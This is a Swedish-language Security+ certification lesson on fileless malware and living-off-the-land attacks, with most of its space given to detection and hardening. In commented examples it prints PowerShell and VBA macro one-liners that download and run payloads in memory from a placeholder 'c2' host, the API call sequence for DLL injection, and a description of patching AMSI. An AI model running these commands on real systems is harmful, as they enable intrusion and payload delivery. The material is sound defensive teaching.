Fillös skadlig kod och Living-off-the-Land-attacker
Lär dig hur fillös skadlig kod missbrukar legitima verktyg (PowerShell, WMI och makron) för att undgå traditionell signaturbaserad detektering.
Fillös skadlig kod och Living-off-the-Land-attacker är en gratis lektion i Cloud & IT Cert Prep på CoddyKit. Detta är lektion 4 av 4. Ni kan läsa hela lektionen gratis nedan och sedan öva praktiskt i webbläsaren med en inbyggd kodredigerare och en AI-handledare som är tillgänglig dygnet runt. Den ingår i lärvägen för Cloud & IT Cert Prep, och Era framsteg synkroniseras mellan webben och CoddyKit-appen. Kursen i Cloud & IT Cert Prep innehåller totalt 4 lektioner.
Varför fileless-attacker är så effektiva
Traditionell skadlig kod skriver körbara filer till disken, vilket ger signaturbaserade antivirusprogram möjlighet att skanna och upptäcka dem. Fileless malware körs helt i minnet eller missbrukar legitima verktyg som redan är installerade, och lämnar därför inga traditionella filer med skadlig kod som antivirusprogram kan hitta. Detta minskar upptäcktsgraden dramatiskt för signaturbaserade verktyg. Säkerhetsleverantörer rapporterar att fileless-attacker har 10 gånger större sannolikhet att lyckas än filbaserade attacker. Bankrånet mot Bangladesh Bank 2016, varianterna av Petya/NotPetya från 2017 och otaliga intrång av nationalstatsaktörer har utnyttjat fileless-tekniker för att upprätthålla persistens och undgå upptäckt.
Living-off-the-Land-tekniker (LotL)
Living-off-the-land-attacker (LotL) använder legitima verktyg och verktygsprogram som redan finns på det angripna systemet för att utföra skadliga åtgärder. Dessa verktyg – PowerShell, WMI, certutil, mshta, regsvr32, rundll32 – betros av operativsystemet och säkerhetsprogram eftersom de har legitima användningsområden. En angripare som uteslutande använder inbyggda verktyg kan smälta in i normal administrativ aktivitet. Utmaningen för försvarare är att skilja skadlig användning av dessa verktyg från legitimt administrativt arbete. Därför är beteendeanalys och kontextmedvetenhet effektivare än signaturidentifiering för LotL-tekniker.
# Common LotL (LOLBins - Living Off the Land Binaries):
# certutil.exe - download files from internet
# mshta.exe - execute HTA (HTML Application) scripts
# regsvr32.exe - execute DLL or scriptlets remotely (Squiblydoo)
# rundll32.exe - execute DLL exports
# wmic.exe - WMI queries and lateral movement
# bitsadmin.exe - download/upload via BITS service
# powershell.exe - nearly unlimited capability
# cmstp.exe - bypass UAC, run scriptsPowerShell som attackverktyg
PowerShell är det mest missbrukade LotL-verktyget eftersom det ger åtkomst till hela .NET-ramverket, WMI och Windows-API:er med minimala spår när det körs i minnet. Angripare laddar ned PowerShell-skript direkt till minnet utan att skriva dem till disken, kodar kommandon i Base64 för att dölja dem från loggning och använder funktioner som reflection för att läsa in .NET-sammansättningar i minnet. Ramverken Empire och Cobalt Strike förlitar sig i hög grad på PowerShell efter kompromettering. Försvarsåtgärder omfattar PowerShell Constrained Language Mode, ScriptBlock Logging (loggar avkodat skriptinnehåll), Module Logging och begränsning av vilka som får köra PowerShell via Group Policy.
# PowerShell attack example (educational):
# Download and execute payload entirely in memory:
# powershell.exe -NoP -NonI -Exec Bypass -W Hidden -Enc <base64>
# IEX (New-Object Net.WebClient).DownloadString('http://c2/payload.ps1')
# Defense: Enable PowerShell logging (Group Policy):
# Computer Config -> Admin Templates -> Windows Components
# -> Windows PowerShell
# Turn on PowerShell Script Block Logging: Enabled
# Turn on Module Logging: Enabled
# Turn on Transcription: EnabledWMI för persistens och lateral förflyttning
WMI (Windows Management Instrumentation) är en kraftfull Windows-funktion för systemhantering som angripare missbrukar för persistens och lateral förflyttning. En WMI-händelseprenumeration utlöser ett kommando när en angiven händelse inträffar, till exempel var femte minut, vid inloggning eller när en viss process startar. Dessa prenumerationer överlever omstarter, lagras i WMI-databasen och visas inte som traditionella schemalagda aktiviteter eller registernycklar för autostart, vilket gör att många verktyg för identifiering av persistens inte upptäcker dem. Angripare kan även använda WMI för att köra processer på fjärrsystem via DCOM (port 135), vilket möjliggör lateral förflyttning utan nätverksresurser.
# WMI event subscription for persistence (educational):
# Filter: every 5 minutes
# Consumer: execute powershell command
# Binding: connect filter to consumer
#
# Detection:
# Monitor WMI subscriptions:
Get-WMIObject -Namespace root\subscription -Class __EventFilter
Get-WMIObject -Namespace root\subscription -Class CommandLineEventConsumer
Get-WMIObject -Namespace root\subscription -Class __FilterToConsumerBinding
# Sysmon Event ID 19/20/21: WMI events loggedTekniker för processinjektion
Processinjektion gör det möjligt för skadlig kod att köras i adressutrymmet för en legitim och betrodd process (explorer.exe, svchost.exe, notepad.exe). Den skadliga koden ärver processens behörigheter och identitet, vilket får nätverksanslutningar att se ut att komma från ett betrott program. Vanliga injektionstekniker omfattar DLL-injektion (läser in en skadlig DLL i en annan process), process hollowing (skapar en pausad process, avmappar dess kod och ersätter den med skadlig kod) och reflective DLL injection (läser in en DLL direkt från minnet utan att skriva den till disken). EDR-verktyg upptäcker injektion genom att övervaka sekvenser av API-anrop (OpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThread).
# DLL injection API sequence:
# 1. OpenProcess(PROCESS_ALL_ACCESS, target_pid)
# 2. VirtualAllocEx(target, NULL, dll_path_len, MEM_COMMIT, PAGE_READWRITE)
# 3. WriteProcessMemory(target, alloc_addr, dll_path, dll_path_len)
# 4. CreateRemoteThread(target, NULL, 0, LoadLibraryA, alloc_addr)
# Sysmon rules to detect injection:
# Event ID 8: CreateRemoteThread
# Event ID 10: ProcessAccess (targetted process opened)
# Event ID 25: ProcessTampering (image changed in memory)Makroaktiverade dokument som ingångspunkter
Många fileless-attackkedjor börjar med ett skadligt Office-dokument som innehåller VBA-makron. När användaren öppnar dokumentet och aktiverar makron (ofta lockad av ett meddelande som 'Enable Content to view this document') kör makrot PowerShell för att ladda ned och köra en nyttolast direkt i minnet. Nyttolasten skrivs aldrig till disken – endast det ursprungliga Office-dokumentet gör det. Därför betonar Security+-provet vikten av att inaktivera makron och distribuera ASR-regler (Attack Surface Reduction). Moderna phishingramverk för attacker i mitten (som Evilginx2) levererar också skadliga dokument efter att autentiseringsuppgifter har fångats upp, för att installera RAT:ar.
# Malicious macro flow (educational):
# 1. User receives .docm via email
# 2. User opens, clicks 'Enable Content'
# 3. VBA macro runs:
# Shell 'powershell -ep bypass -nop -c "IEX(New-Object Net.WebClient).DownloadString(''http://c2/stage2.ps1'')"'
# 4. PowerShell downloads stage2 into memory
# 5. stage2 runs shellcode / loads Cobalt Strike Beacon in memory
# 6. No malware files on disk; only the .docm exists
# ASR rule to block:
# 'Block all Office applications from creating child processes'AMSI: Antimalware Scan Interface
AMSI (Antimalware Scan Interface) är ett Windows-API som gör det möjligt för program (PowerShell, VBScript, JScript, Office) att skicka innehåll till den installerade antivirusmotorn för skanning vid körning – även innan innehållet har skrivits till disken. AMSI gör det möjligt för antivirusleverantörer att skanna skriptinnehåll som annars skulle vara osynligt för filbaserad skanning. Angripare försöker kringgå AMSI genom att patcha amsi.dll i minnet så att den returnerar resultatet 'clean' för alla inskickade objekt, eller genom att förvränga skriptinnehållet för att undvika signaturmatchning. EDR-verktyg övervakar försök att patcha AMSI som en indikator på fileless-attackaktivitet.
# How AMSI works:
# PowerShell/WScript calls AmsiScanBuffer() before execution
# Windows Defender (or other AV) scans the buffer
# If malicious: AMSI returns AMSI_RESULT_DETECTED -> execution blocked
# AMSI bypass attempts to detect (Sysmon/EDR):
# Memory write to amsi.dll: patch AmsiScanBuffer to always return 0
# Unloading amsi.dll from process memory
# PowerShell Constrained Language Mode + AMSI = stronger defenseIdentifiera fileless-attacker
För att upptäcka fileless malware måste Ni gå från filbaserad identifiering till beteendeövervakning. Viktiga identifieringsstrategier omfattar: PowerShell ScriptBlock Logging fångar avkodat skriptinnehåll även om det är kodat på kommandoraden; Sysmon loggar processkapande med fullständiga kommandorader, nätverksanslutningar med information om vilken process som skapade dem och registerändringar; EDR-regler för beteende larmar vid misstänkta processrelationer (Word startar PowerShell, PowerShell startar cmd, certutil laddar ned körbara filer); och Windows Event Forwarding skickar dessa loggar till ett centralt SIEM-system för korrelation och långsiktig lagring.
# Sysmon detection rules for LotL:
# Event ID 1: Process creation
# Alert if: Word.exe spawns cmd.exe or powershell.exe
# Alert if: certutil.exe with -urlcache -f parameters
# Alert if: mshta.exe with remote URL argument
# Event ID 3: Network connection
# Alert if: powershell.exe initiates outbound connection
# Alert if: mshta.exe connects to non-Microsoft IPs
# Event ID 7: Image loaded
# Alert if: known-bad DLL loaded into legitimate processBegränsa användningen av LotL-verktyg
Organisationer kan minska attackytan för LotL genom att begränsa vilka användare som får köra kraftfulla verktyg. PowerShell Constrained Language Mode begränsar .NET-anrop, COM-objekt och reflection som angripare förlitar sig på. AppLocker och WDAC (Windows Defender Application Control) kan förhindra att specifika binärfiler körs av användare som inte är administratörer. LOLBAS-projektet katalogiserar kända LotL-binärfiler och deras attacktekniker, vilket hjälper försvarare att identifiera vilka binärfiler som bör övervakas eller begränsas. Alla LotL-binärfiler kan inte blockeras (många krävs för operativsystemets funktion), men det går att övervaka deras användning i rätt kontext.
# PowerShell Constrained Language Mode:
$ExecutionContext.SessionState.LanguageMode = 'ConstrainedLanguage'
# Or via WDAC policy; CLM automatically applied when WDAC is active
# AppLocker: block mshta.exe for standard users
# Computer Config -> Windows Settings -> Security Settings
# -> Application Control Policies -> AppLocker
# Executable Rules -> Add Rule -> Deny -> mshta.exe (path rule)
# WDAC (stronger than AppLocker):
# Cannot be bypassed by local admin unlike AppLocker
# Enforced at kernel levelMITRE ATT&CK-täckning av fileless-tekniker
MITRE ATT&CK-ramverket dokumenterar fileless- och LotL-tekniker utförligt. Viktiga undertekniker omfattar: T1059.001 (PowerShell), T1047 (WMI-körning), T1055 (processinjektion), T1140 (avkoda/dekryptera filer), T1003.001 (LSASS-minne för credential dumping) och T1546.003 (WMI-händelseprenumeration för persistens). Genom att mappa Er identifieringsförmåga mot dessa tekniker med ATT&CK Navigator synliggör Ni täckningsluckor och får vägledning vid utveckling av SIEM-regler. Ramverket tillhandahåller även vägledning om begränsning och identifiering för varje teknik.
Sammanfattning av försvar mot fileless malware
En skiktad försvarsstrategi mot fileless malware omfattar: aktivering av PowerShell-loggning (ScriptBlock, Module, Transcription), distribution av Sysmon med en heltäckande konfiguration, implementering av AMSI med en uppdaterad antivirusmotor, tillämpning av PowerShell Constrained Language Mode via WDAC, begränsning av makrokörning i Office-dokument via Group Policy, distribution av EDR med funktioner för beteendebaserad identifiering samt vidarebefordran av alla loggar till ett SIEM-system med identifieringsregler för kända skadliga processkedjor. Kombinationen av en begränsad attackyta och bättre insyn gör fileless-attacker betydligt svårare att genomföra utan att upptäckas.
Snabb kontroll
Testa Er förståelse av begreppen från CompTIA Security+ (SY0-701) i den här lektionen.
Sammanfattning av lektionen
I den här lektionen lärde Ni Er att fileless malware körs i minnet och missbrukar legitima operativsystemverktyg som PowerShell, WMI och certutil för att undgå signaturbaserad identifiering, att tekniker för processinjektion döljer skadlig kod inuti betrodda processer genom att utnyttja Windows API:er för minneshantering och att beteendebaserad identifiering via SIEM, Sysmon och EDR, i kombination med PowerShell-loggning och AMSI, ger det starkaste försvaret mot dessa attackkedjor som undviker signaturidentifiering. Härnäst utforskar vi skillnaden mellan sårbarhetsskanning och penetrationstestning.
Lär dig Cloud & IT Cert Prep med en AI-lärare – gratis
Skriv och kör riktig kod i webbläsaren, få omedelbar hjälp av en AI-lärare dygnet runt och fortsätt där du slutade – på webben eller i appen.
- Kurser
- 150
- Lektioner
- 600
Vanliga frågor
Är lektionen ”Fillös skadlig kod och Living-off-the-Land-attacker” gratis?
Ja – hela texten till ”Fillös skadlig kod och Living-off-the-Land-attacker” kan läsas gratis här på webben. Om Ni vill öva interaktivt med en inbyggd kodredigerare och en AI-handledare som är tillgänglig dygnet runt och låsa upp resten av kursen i Cloud & IT Cert Prep, kan Ni uppgradera till CoddyKit PRO. Kursen i Cloud & IT Cert Prep innehåller totalt 4 lektioner.
Vad lär jag mig i ”Fillös skadlig kod och Living-off-the-Land-attacker”?
Lär dig hur fillös skadlig kod missbrukar legitima verktyg (PowerShell, WMI och makron) för att undgå traditionell signaturbaserad detektering. Ni övar på Cloud & IT Cert Prep med praktisk kod som körs direkt i webbläsaren, medan en AI-handledare som är tillgänglig dygnet runt svarar på Era frågor under lektionen.
Behöver jag någon erfarenhet för att börja lära mig Cloud & IT Cert Prep?
Du behöver inga förkunskaper. Utbildningen i Cloud & IT Cert Prep på CoddyKit är upplagd för allt från nybörjare till avancerade elever, så att du kan börja här eller från början och gå fram i din egen takt. Detta är lektion 4 av 4.
Hur lång tid tar lektionen ”Fillös skadlig kod och Living-off-the-Land-attacker”?
De flesta CoddyKit-lektioner tar cirka 5–10 minuter. Varje lektion är kort och interaktiv, så att du gör stadiga framsteg och kan fortsätta precis där du slutade – på webben eller i appen.
Kan jag skriva och köra kod i den här Cloud & IT Cert Prep-lektionen?
Ja. Varje Cloud & IT Cert Prep-lektion innehåller en inbyggd kodredigerare, så att du kan skriva och köra riktig kod direkt i webbläsaren och få omedelbar AI-feedback – utan lokal installation.
Alla lektioner i den här kursen
- Virus, maskar och trojaner
- Ransomware och krypteringsskadlig kod
- Rootkits, spionprogram och keyloggers
- Fillös skadlig kod och Living-off-the-Land-attacker